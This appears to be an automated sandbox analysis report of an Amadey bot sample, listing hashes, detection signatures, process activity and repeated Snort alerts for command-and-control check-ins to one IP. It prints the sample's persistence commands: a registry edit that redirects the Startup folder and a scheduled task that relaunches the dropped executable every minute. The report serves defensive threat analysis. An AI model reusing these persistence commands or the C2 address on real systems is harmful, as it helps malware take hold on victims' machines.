Play interactive tour

Edit tour

Windows Analysis Report vhNyVU8USk.exe

Overview

General Information

Sample Name:	vhNyVU8USk.exe
Analysis ID:	450818
MD5:	6738c904ba78a2268a8950152a6c7448
SHA1:	f2e8d6fdaabbfedd6fca2a7676205756b0c72d3c
SHA256:	42054b960727fbd72bde57e8903881e4239e9500f1160ca298e10a1b438698a8
Tags:	Amadeyexe
Infos:
Most interesting Screenshot:

Detection

Amadey

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Amadey bot

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Creates HTML files with .exe extension (expired dropper behavior)

Creates an undocumented autostart registry key

Machine Learning detection for dropped file

Machine Learning detection for sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

PE file contains strange resources

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Direct Autorun Keys Modification

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

vhNyVU8USk.exe (PID: 6896 cmdline: 'C:\Users\user\Desktop\vhNyVU8USk.exe' MD5: 6738C904BA78A2268A8950152A6C7448)

drbux.exe (PID: 7000 cmdline: 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe' MD5: 6738C904BA78A2268A8950152A6C7448)

cmd.exe (PID: 6108 cmdline: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\ MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

reg.exe (PID: 6232 cmdline: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\ MD5: CEE2A7E57DF2A159A065A34913A055C2)

schtasks.exe (PID: 4688 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /SC MINUTE /MO 1 /TN drbux.exe /TR 'C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe' /F MD5: 15FF7D8324231381BAD48A052F85DF04)

conhost.exe (PID: 5740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

drbux.exe (PID: 648 cmdline: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe MD5: 6738C904BA78A2268A8950152A6C7448)

drbux.exe (PID: 6264 cmdline: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe MD5: 6738C904BA78A2268A8950152A6C7448)

drbux.exe (PID: 4928 cmdline: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe MD5: 6738C904BA78A2268A8950152A6C7448)

cleanup

Malware Configuration

Threatname: Amadey

{"C2 url": "@#/l(Rb*\u00cd", "Version": "\u000f\u001a\u0092 ", "Install File": "8JJZ"}

Yara Overview

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000002.00000002.602859911.0000000000B2A000.00000004.00000020.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000002.602919944.0000000000B56000.00000004.00000020.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000003.435588336.0000000000B56000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000003.448106642.0000000000B4C000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000003.448153391.0000000000B6A000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000003.448130651.0000000000B56000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000003.435543227.0000000000B4A000.00000004.00000001.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
00000002.00000002.602954967.0000000000B6A000.00000004.00000020.sdmp	JoeSecurity_Amadey	Yara detected Amadey bot	Joe Security
Click to see the 3 entries

Sigma Overview

System Summary:

Sigma detected: Direct Autorun Keys Modification

Show sources

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\, CommandLine: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\, CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: 'C:\Windows\System32\cmd.exe' /C REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6108, ProcessCommandLine: REG ADD 'HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders' /f /v Startup /t REG_SZ /d C:\Users\user\AppData\Local\Temp\8a643770bf\, ProcessId: 6232

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 9.2.drbux.exe.12d0000.0.unpack

Malware Configuration Extractor: Amadey {"C2 url": "@#/l(Rb*\u00cd", "Version": "\u000f\u001a\u0092 ", "Install File": "8JJZ"}

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

ReversingLabs: Detection: 35%

Multi AV Scanner detection for submitted file

Show sources

Source: vhNyVU8USk.exe	Virustotal: Detection: 52%			Perma Link
Source: vhNyVU8USk.exe	ReversingLabs: Detection: 35%

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\8a643770bf\drbux.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Show sources

Source: vhNyVU8USk.exe

Joe Sandbox ML: detected

Source: vhNyVU8USk.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: vhNyVU8USk.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49735 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49799 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49801 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49803 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49805 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49806 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49807 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49809 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49810 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49812 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49814 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49816 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49818 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49820 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49821 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49822 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49824 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49825 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49827 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49829 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49830 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49831 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49833 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49834 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49836 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49835 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49842 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49844 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49845 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49846 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49848 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49849 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49850 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49851 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49853 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49854 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49856 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49857 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49858 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49860 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49861 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49863 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49864 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49865 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49867 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49868 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49869 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49871 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49872 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49874 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49875 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49877 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49878 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49880 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49881 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49883 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49884 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49886 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49887 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49889 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49890 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49891 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49893 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49894 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49896 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49897 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49898 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49900 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49901 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49903 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49905 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49906 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49908 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49909 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49911 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49912 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49914 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49915 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49917 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49918 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49920 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49921 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49922 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49924 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49925 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49927 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49929 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49930 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49931 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49933 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49934 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49935 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49936 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49938 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49939 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49941 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49942 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49944 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49945 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49946 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49948 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49950 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49951 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49953 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49955 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49957 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49958 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49960 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49962 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49965 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49966 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49968 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49969 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49971 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49973 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49975 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49976 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49977 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49980 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49981 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49983 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49984 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49986 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49987 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49988 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49989 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49991 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49992 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49994 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49995 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49996 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49998 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:49999 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50001 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50002 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50003 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50004 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50005 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50007 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50008 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50010 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50011 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50012 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50013 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50014 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50015 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50017 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50018 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50020 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50021 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50023 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50022 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50024 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50026 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50028 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50029 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50031 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50032 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50034 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50035 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50036 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50037 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50039 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50040 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50042 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50043 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50045 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50046 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50048 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50049 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50051 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50052 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50054 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50055 -> 185.114.247.54:80
Source: Traffic	Snort IDS: 2027700 ET TROJAN Amadey CnC Check-In 192.168.2.6:50057 -> 185.114.247.54:80
